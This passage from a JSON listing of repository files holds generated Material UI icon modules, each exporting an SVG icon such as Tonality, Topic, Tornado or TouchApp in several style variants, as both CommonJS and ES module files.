    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M12 2C6.48 2 2 6.48 2 12s4.48 10 10 10 10-4.48 10-10S17.52 2 12 2m-1 17.93c-3.94-.49-7-3.85-7-7.93s3.05-7.44 7-7.93zm2-15.86c1.03.13 2 .45 2.87.93H13zM13 7h5.24c.25.31.48.65.68 1H13zm0 3h6.74c.08.33.15.66.19 1H13zm0 9.93V19h2.87c-.87.48-1.84.8-2.87.93M18.24 17H13v-1h5.92c-.2.35-.43.69-.68 1m1.5-3H13v-1h6.93c-.04.34-.11.67-.19 1\"\n}), 'TonalityRounded');"
  },
  {
    "path": "packages/mui-icons-material/lib/TonalityRounded.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M12 2C6.48 2 2 6.48 2 12s4.48 10 10 10 10-4.48 10-10S17.52 2 12 2m-1 17.93c-3.94-.49-7-3.85-7-7.93s3.05-7.44 7-7.93zm2-15.86c1.03.13 2 .45 2.87.93H13zM13 7h5.24c.25.31.48.65.68 1H13zm0 3h6.74c.08.33.15.66.19 1H13zm0 9.93V19h2.87c-.87.48-1.84.8-2.87.93M18.24 17H13v-1h5.92c-.2.35-.43.69-.68 1m1.5-3H13v-1h6.93c-.04.34-.11.67-.19 1\"\n}), 'TonalityRounded');"
  },
  {
    "path": "packages/mui-icons-material/lib/TonalitySharp.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M12 2C6.48 2 2 6.48 2 12s4.48 10 10 10 10-4.48 10-10S17.52 2 12 2m-1 17.93c-3.94-.49-7-3.85-7-7.93s3.05-7.44 7-7.93zm2-15.86c1.03.13 2 .45 2.87.93H13zM13 7h5.24c.25.31.48.65.68 1H13zm0 3h6.74c.08.33.15.66.19 1H13zm0 9.93V19h2.87c-.87.48-1.84.8-2.87.93M18.24 17H13v-1h5.92c-.2.35-.43.69-.68 1m1.5-3H13v-1h6.93c-.04.34-.11.67-.19 1\"\n}), 'TonalitySharp');"
  },
  {
    "path": "packages/mui-icons-material/lib/TonalitySharp.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M12 2C6.48 2 2 6.48 2 12s4.48 10 10 10 10-4.48 10-10S17.52 2 12 2m-1 17.93c-3.94-.49-7-3.85-7-7.93s3.05-7.44 7-7.93zm2-15.86c1.03.13 2 .45 2.87.93H13zM13 7h5.24c.25.31.48.65.68 1H13zm0 3h6.74c.08.33.15.66.19 1H13zm0 9.93V19h2.87c-.87.48-1.84.8-2.87.93M18.24 17H13v-1h5.92c-.2.35-.43.69-.68 1m1.5-3H13v-1h6.93c-.04.34-.11.67-.19 1\"\n}), 'TonalitySharp');"
  },
  {
    "path": "packages/mui-icons-material/lib/TonalityTwoTone.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)([/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M4 12c0 4.08 3.06 7.44 7 7.93V4.07C7.05 4.56 4 7.92 4 12\",\n  opacity: \".3\"\n}, \"0\"), /*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M12 2C6.48 2 2 6.48 2 12s4.48 10 10 10 10-4.48 10-10S17.52 2 12 2m-1 17.93c-3.94-.49-7-3.85-7-7.93s3.05-7.44 7-7.93zm2-15.86c1.03.13 2 .45 2.87.93H13zM13 7h5.24c.25.31.48.65.68 1H13zm0 3h6.74c.08.33.15.66.19 1H13zm0 9.93V19h2.87c-.87.48-1.84.8-2.87.93M18.24 17H13v-1h5.92c-.2.35-.43.69-.68 1m1.5-3H13v-1h6.93c-.04.34-.11.67-.19 1\"\n}, \"1\")], 'TonalityTwoTone');"
  },
  {
    "path": "packages/mui-icons-material/lib/TonalityTwoTone.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon([/*#__PURE__*/_jsx(\"path\", {\n  d: \"M4 12c0 4.08 3.06 7.44 7 7.93V4.07C7.05 4.56 4 7.92 4 12\",\n  opacity: \".3\"\n}, \"0\"), /*#__PURE__*/_jsx(\"path\", {\n  d: \"M12 2C6.48 2 2 6.48 2 12s4.48 10 10 10 10-4.48 10-10S17.52 2 12 2m-1 17.93c-3.94-.49-7-3.85-7-7.93s3.05-7.44 7-7.93zm2-15.86c1.03.13 2 .45 2.87.93H13zM13 7h5.24c.25.31.48.65.68 1H13zm0 3h6.74c.08.33.15.66.19 1H13zm0 9.93V19h2.87c-.87.48-1.84.8-2.87.93M18.24 17H13v-1h5.92c-.2.35-.43.69-.68 1m1.5-3H13v-1h6.93c-.04.34-.11.67-.19 1\"\n}, \"1\")], 'TonalityTwoTone');"
  },
  {
    "path": "packages/mui-icons-material/lib/Topic.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M20 6h-8l-2-2H4c-1.1 0-1.99.9-1.99 2L2 18c0 1.1.9 2 2 2h16c1.1 0 2-.9 2-2V8c0-1.1-.9-2-2-2m-6 10H6v-2h8zm4-4H6v-2h12z\"\n}), 'Topic');"
  },
  {
    "path": "packages/mui-icons-material/lib/Topic.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M20 6h-8l-2-2H4c-1.1 0-1.99.9-1.99 2L2 18c0 1.1.9 2 2 2h16c1.1 0 2-.9 2-2V8c0-1.1-.9-2-2-2m-6 10H6v-2h8zm4-4H6v-2h12z\"\n}), 'Topic');"
  },
  {
    "path": "packages/mui-icons-material/lib/TopicOutlined.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M20 6h-8l-2-2H4c-1.1 0-1.99.9-1.99 2L2 18c0 1.1.9 2 2 2h16.77c.68 0 1.23-.56 1.23-1.23V8c0-1.1-.9-2-2-2m0 12H4V6h5.17l2 2H20zm-2-6H6v-2h12zm-4 4H6v-2h8z\"\n}), 'TopicOutlined');"
  },
  {
    "path": "packages/mui-icons-material/lib/TopicOutlined.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M20 6h-8l-2-2H4c-1.1 0-1.99.9-1.99 2L2 18c0 1.1.9 2 2 2h16.77c.68 0 1.23-.56 1.23-1.23V8c0-1.1-.9-2-2-2m0 12H4V6h5.17l2 2H20zm-2-6H6v-2h12zm-4 4H6v-2h8z\"\n}), 'TopicOutlined');"
  },
  {
    "path": "packages/mui-icons-material/lib/TopicRounded.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M20 6h-8l-1.41-1.41C10.21 4.21 9.7 4 9.17 4H4c-1.1 0-1.99.9-1.99 2L2 18c0 1.1.9 2 2 2h16c1.1 0 2-.9 2-2V8c0-1.1-.9-2-2-2m-7 10H7c-.55 0-1-.45-1-1s.45-1 1-1h6c.55 0 1 .45 1 1s-.45 1-1 1m4-4H7c-.55 0-1-.45-1-1s.45-1 1-1h10c.55 0 1 .45 1 1s-.45 1-1 1\"\n}), 'TopicRounded');"
  },
  {
    "path": "packages/mui-icons-material/lib/TopicRounded.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M20 6h-8l-1.41-1.41C10.21 4.21 9.7 4 9.17 4H4c-1.1 0-1.99.9-1.99 2L2 18c0 1.1.9 2 2 2h16c1.1 0 2-.9 2-2V8c0-1.1-.9-2-2-2m-7 10H7c-.55 0-1-.45-1-1s.45-1 1-1h6c.55 0 1 .45 1 1s-.45 1-1 1m4-4H7c-.55 0-1-.45-1-1s.45-1 1-1h10c.55 0 1 .45 1 1s-.45 1-1 1\"\n}), 'TopicRounded');"
  },
  {
    "path": "packages/mui-icons-material/lib/TopicSharp.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"m12 6-2-2H2v16h20V6zm2 10H6v-2h8zm4-4H6v-2h12z\"\n}), 'TopicSharp');"
  },
  {
    "path": "packages/mui-icons-material/lib/TopicSharp.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"m12 6-2-2H2v16h20V6zm2 10H6v-2h8zm4-4H6v-2h12z\"\n}), 'TopicSharp');"
  },
  {
    "path": "packages/mui-icons-material/lib/TopicTwoTone.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)([/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M20 18H4V6h5.17l2 2H20zm-2-6H6v-2h12zm-4 4H6v-2h8z\",\n  opacity: \".3\"\n}, \"0\"), /*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M20 6h-8l-2-2H4c-1.1 0-1.99.9-1.99 2L2 18c0 1.1.9 2 2 2h16.77c.68 0 1.23-.56 1.23-1.23V8c0-1.1-.9-2-2-2m0 12H4V6h5.17l2 2H20zm-2-6H6v-2h12zm-4 4H6v-2h8z\"\n}, \"1\")], 'TopicTwoTone');"
  },
  {
    "path": "packages/mui-icons-material/lib/TopicTwoTone.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon([/*#__PURE__*/_jsx(\"path\", {\n  d: \"M20 18H4V6h5.17l2 2H20zm-2-6H6v-2h12zm-4 4H6v-2h8z\",\n  opacity: \".3\"\n}, \"0\"), /*#__PURE__*/_jsx(\"path\", {\n  d: \"M20 6h-8l-2-2H4c-1.1 0-1.99.9-1.99 2L2 18c0 1.1.9 2 2 2h16.77c.68 0 1.23-.56 1.23-1.23V8c0-1.1-.9-2-2-2m0 12H4V6h5.17l2 2H20zm-2-6H6v-2h12zm-4 4H6v-2h8z\"\n}, \"1\")], 'TopicTwoTone');"
  },
  {
    "path": "packages/mui-icons-material/lib/Tornado.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M20.11 8 23 3H1l2.89 5zM7.95 15 12 22l4.05-7zm11-5H5.05l1.74 3h10.42z\"\n}), 'Tornado');"
  },
  {
    "path": "packages/mui-icons-material/lib/Tornado.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M20.11 8 23 3H1l2.89 5zM7.95 15 12 22l4.05-7zm11-5H5.05l1.74 3h10.42z\"\n}), 'Tornado');"
  },
  {
    "path": "packages/mui-icons-material/lib/TornadoOutlined.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M23 3H1l11 19zm-3.47 2-1.74 3H6.21L4.47 5zm-9.27 10h3.48L12 18.01zm4.64-2H9.1l-1.74-3h9.27z\"\n}), 'TornadoOutlined');"
  },
  {
    "path": "packages/mui-icons-material/lib/TornadoOutlined.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M23 3H1l11 19zm-3.47 2-1.74 3H6.21L4.47 5zm-9.27 10h3.48L12 18.01zm4.64-2H9.1l-1.74-3h9.27z\"\n}), 'TornadoOutlined');"
  },
  {
    "path": "packages/mui-icons-material/lib/TornadoRounded.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"m20.11 8 1.16-2c.77-1.33-.19-3-1.73-3H4.47c-1.54 0-2.5 1.67-1.73 3L3.9 8zM7.95 15l2.32 4.01c.77 1.33 2.69 1.33 3.46 0L16.05 15zm11-5H5.05l1.74 3h10.42z\"\n}), 'TornadoRounded');"
  },
  {
    "path": "packages/mui-icons-material/lib/TornadoRounded.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"m20.11 8 1.16-2c.77-1.33-.19-3-1.73-3H4.47c-1.54 0-2.5 1.67-1.73 3L3.9 8zM7.95 15l2.32 4.01c.77 1.33 2.69 1.33 3.46 0L16.05 15zm11-5H5.05l1.74 3h10.42z\"\n}), 'TornadoRounded');"
  },
  {
    "path": "packages/mui-icons-material/lib/TornadoSharp.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M20.11 8 23 3H1l2.89 5zM7.95 15 12 22l4.05-7zm11-5H5.05l1.74 3h10.42z\"\n}), 'TornadoSharp');"
  },
  {
    "path": "packages/mui-icons-material/lib/TornadoSharp.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M20.11 8 23 3H1l2.89 5zM7.95 15 12 22l4.05-7zm11-5H5.05l1.74 3h10.42z\"\n}), 'TornadoSharp');"
  },
  {
    "path": "packages/mui-icons-material/lib/TornadoTwoTone.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)([/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M9.1 13h5.8l1.74-3H7.36zm2.9 5.01L13.74 15h-3.48zM4.47 5l1.74 3h11.58l1.74-3z\",\n  opacity: \".3\"\n}, \"0\"), /*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"m1 3 11 19L23 3zm11 15.01L10.26 15h3.48zM14.9 13H9.1l-1.74-3h9.27zM6.21 8 4.47 5h15.06l-1.74 3z\"\n}, \"1\")], 'TornadoTwoTone');"
  },
  {
    "path": "packages/mui-icons-material/lib/TornadoTwoTone.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon([/*#__PURE__*/_jsx(\"path\", {\n  d: \"M9.1 13h5.8l1.74-3H7.36zm2.9 5.01L13.74 15h-3.48zM4.47 5l1.74 3h11.58l1.74-3z\",\n  opacity: \".3\"\n}, \"0\"), /*#__PURE__*/_jsx(\"path\", {\n  d: \"m1 3 11 19L23 3zm11 15.01L10.26 15h3.48zM14.9 13H9.1l-1.74-3h9.27zM6.21 8 4.47 5h15.06l-1.74 3z\"\n}, \"1\")], 'TornadoTwoTone');"
  },
  {
    "path": "packages/mui-icons-material/lib/TouchApp.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M9 11.24V7.5C9 6.12 10.12 5 11.5 5S14 6.12 14 7.5v3.74c1.21-.81 2-2.18 2-3.74C16 5.01 13.99 3 11.5 3S7 5.01 7 7.5c0 1.56.79 2.93 2 3.74m9.84 4.63-4.54-2.26c-.17-.07-.35-.11-.54-.11H13v-6c0-.83-.67-1.5-1.5-1.5S10 6.67 10 7.5v10.74c-3.6-.76-3.54-.75-3.67-.75-.31 0-.59.13-.79.33l-.79.8 4.94 4.94c.27.27.65.44 1.06.44h6.79c.75 0 1.33-.55 1.44-1.28l.75-5.27c.01-.07.02-.14.02-.2 0-.62-.38-1.16-.91-1.38\"\n}), 'TouchApp');"
  },
  {
    "path": "packages/mui-icons-material/lib/TouchApp.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M9 11.24V7.5C9 6.12 10.12 5 11.5 5S14 6.12 14 7.5v3.74c1.21-.81 2-2.18 2-3.74C16 5.01 13.99 3 11.5 3S7 5.01 7 7.5c0 1.56.79 2.93 2 3.74m9.84 4.63-4.54-2.26c-.17-.07-.35-.11-.54-.11H13v-6c0-.83-.67-1.5-1.5-1.5S10 6.67 10 7.5v10.74c-3.6-.76-3.54-.75-3.67-.75-.31 0-.59.13-.79.33l-.79.8 4.94 4.94c.27.27.65.44 1.06.44h6.79c.75 0 1.33-.55 1.44-1.28l.75-5.27c.01-.07.02-.14.02-.2 0-.62-.38-1.16-.91-1.38\"\n}), 'TouchApp');"
  },
  {
    "path": "packages/mui-icons-material/lib/TouchAppOutlined.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"m18.19 12.44-3.24-1.62c1.29-1 2.12-2.56 2.12-4.32 0-3.03-2.47-5.5-5.5-5.5s-5.5 2.47-5.5 5.5c0 2.13 1.22 3.98 3 4.89v3.26c-2.15-.46-2.02-.44-2.26-.44-.53 0-1.03.21-1.41.59L4 16.22l5.09 5.09c.43.44 1.03.69 1.65.69h6.3c.98 0 1.81-.7 1.97-1.67l.8-4.71c.22-1.3-.43-2.58-1.62-3.18m-.35 2.85-.8 4.71h-6.3c-.09 0-.17-.04-.24-.1l-3.68-3.68 4.25.89V6.5c0-.28.22-.5.5-.5s.5.22.5.5v6h1.76l3.46 1.73c.4.2.62.63.55 1.06M8.07 6.5c0-1.93 1.57-3.5 3.5-3.5s3.5 1.57 3.5 3.5c0 .95-.38 1.81-1 2.44V6.5c0-1.38-1.12-2.5-2.5-2.5s-2.5 1.12-2.5 2.5v2.44c-.62-.63-1-1.49-1-2.44\"\n}), 'TouchAppOutlined');"
  },
  {
    "path": "packages/mui-icons-material/lib/TouchAppOutlined.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"m18.19 12.44-3.24-1.62c1.29-1 2.12-2.56 2.12-4.32 0-3.03-2.47-5.5-5.5-5.5s-5.5 2.47-5.5 5.5c0 2.13 1.22 3.98 3 4.89v3.26c-2.15-.46-2.02-.44-2.26-.44-.53 0-1.03.21-1.41.59L4 16.22l5.09 5.09c.43.44 1.03.69 1.65.69h6.3c.98 0 1.81-.7 1.97-1.67l.8-4.71c.22-1.3-.43-2.58-1.62-3.18m-.35 2.85-.8 4.71h-6.3c-.09 0-.17-.04-.24-.1l-3.68-3.68 4.25.89V6.5c0-.28.22-.5.5-.5s.5.22.5.5v6h1.76l3.46 1.73c.4.2.62.63.55 1.06M8.07 6.5c0-1.93 1.57-3.5 3.5-3.5s3.5 1.57 3.5 3.5c0 .95-.38 1.81-1 2.44V6.5c0-1.38-1.12-2.5-2.5-2.5s-2.5 1.12-2.5 2.5v2.44c-.62-.63-1-1.49-1-2.44\"\n}), 'TouchAppOutlined');"
  },
  {
    "path": "packages/mui-icons-material/lib/TouchAppRounded.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M8.79 9.24V5.5c0-1.38 1.12-2.5 2.5-2.5s2.5 1.12 2.5 2.5v3.74c1.21-.81 2-2.18 2-3.74 0-2.49-2.01-4.5-4.5-4.5s-4.5 2.01-4.5 4.5c0 1.56.79 2.93 2 3.74m5.5 2.47c-.28-.14-.58-.21-.89-.21h-.61v-6c0-.83-.67-1.5-1.5-1.5s-1.5.67-1.5 1.5v10.74l-3.44-.72c-.37-.08-.76.04-1.03.31-.43.44-.43 1.14 0 1.58l4.01 4.01c.38.37.89.58 1.42.58h6.1c1 0 1.84-.73 1.98-1.72l.63-4.47c.12-.85-.32-1.69-1.09-2.07z\"\n}), 'TouchAppRounded');"
  },
  {
    "path": "packages/mui-icons-material/lib/TouchAppRounded.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M8.79 9.24V5.5c0-1.38 1.12-2.5 2.5-2.5s2.5 1.12 2.5 2.5v3.74c1.21-.81 2-2.18 2-3.74 0-2.49-2.01-4.5-4.5-4.5s-4.5 2.01-4.5 4.5c0 1.56.79 2.93 2 3.74m5.5 2.47c-.28-.14-.58-.21-.89-.21h-.61v-6c0-.83-.67-1.5-1.5-1.5s-1.5.67-1.5 1.5v10.74l-3.44-.72c-.37-.08-.76.04-1.03.31-.43.44-.43 1.14 0 1.58l4.01 4.01c.38.37.89.58 1.42.58h6.1c1 0 1.84-.73 1.98-1.72l.63-4.47c.12-.85-.32-1.69-1.09-2.07z\"\n}), 'TouchAppRounded');"
  },
  {
    "path": "packages/mui-icons-material/lib/TouchAppSharp.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M8.25 9.24V5.5c0-1.38 1.12-2.5 2.5-2.5s2.5 1.12 2.5 2.5v3.74c1.21-.81 2-2.18 2-3.74 0-2.49-2.01-4.5-4.5-4.5s-4.5 2.01-4.5 4.5c0 1.56.79 2.93 2 3.74m5.08 2.26h-1.08v-6c0-.83-.67-1.5-1.5-1.5s-1.5.67-1.5 1.5v10.74l-4.04-.85L4 16.62 9.38 22h8.67l1.07-7.62z\"\n}), 'TouchAppSharp');"
  },
  {
    "path": "packages/mui-icons-material/lib/TouchAppSharp.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M8.25 9.24V5.5c0-1.38 1.12-2.5 2.5-2.5s2.5 1.12 2.5 2.5v3.74c1.21-.81 2-2.18 2-3.74 0-2.49-2.01-4.5-4.5-4.5s-4.5 2.01-4.5 4.5c0 1.56.79 2.93 2 3.74m5.08 2.26h-1.08v-6c0-.83-.67-1.5-1.5-1.5s-1.5.67-1.5 1.5v10.74l-4.04-.85L4 16.62 9.38 22h8.67l1.07-7.62z\"\n}), 'TouchAppSharp');"
  },
  {
    "path": "packages/mui-icons-material/lib/TouchAppTwoTone.js",
